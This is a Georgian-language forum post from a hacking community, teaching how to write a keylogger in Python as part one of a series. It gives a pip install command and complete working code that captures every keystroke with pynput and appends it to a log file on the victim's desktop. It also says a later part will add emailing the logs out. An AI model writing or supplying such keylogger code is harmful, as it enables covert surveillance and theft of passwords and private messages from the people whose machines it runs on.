Writing Keylogger I | Cyber Community | Hi-Tech World - CYBSECGROUP
Welcome to the CYBSECGROUP Forum
You have the opportunity to get acquainted with interesting projects in an interesting environment
Registration

Writing Keylogger I

* Dark Grizzly

სტუმარი
#1
მოგესალმებით ყველას...

დღეს მინდა გასწავლოთ როგორ შეიძლება დავწეროთ Keylogger პითონში პირველ ნაწილში იქნება ლოგების ლოკალურად შენახვა ხოლო მეორე ნაწილში ჩავამატებთ ელექტრონულ ფოსტაზე გაგზავნას.

პირველი რასაც ვაკეთებთ ვაინსტალირებთ საჭირო მოდულს

Bash:
$ sudo pip3 install pynput
კოდი შემდეგ ნაირად გამოიყურება

Python:
# მოდულის იმპორტი კოდში
from pynput.keyboard import Listener

# იმ ფუნქციის დეკლარაცია რომელიც გაეშვება
# ყოველთვის როდესაც ღილაკზე დავაწვებით

def press_handler(key):
    keyx = str(key)
    keyx = keyx.replace("'","")
    keyx = keyx.replace("Key.space"," ")
    keyx = keyx.replace("Key.backspace","")
    keyx = keyx.replace("Key.tab"," ")
    keyx = keyx.replace("Key.enter","\n")
    keyx = keyx.replace("shift_r","")

    # ზედა 7 ხაზი ჩაანაცვლებს სპეციალურ
    # სიმბოლოებს სათანადო სიმბოლოებით

    # ვხსნით ფაილს რომელშიც მოხდება დალოგვა
    # და ვწერთ ფაილში აკრეფილ თითოეულ ღილაკს
    logs = open('C:\\Users\\Grizzly\\Desktop\\logs.txt', 'a')
    logs.write(keyx)


# ვაყენებთ ლისტენერს (მოუსმინოს ყოველ დაჭერას)
with Listener (on_press=press_handler) as y:
    y.join()

მადლობა ყურადღებისთვის :ROFLMAO:
 
Last edited by a moderator: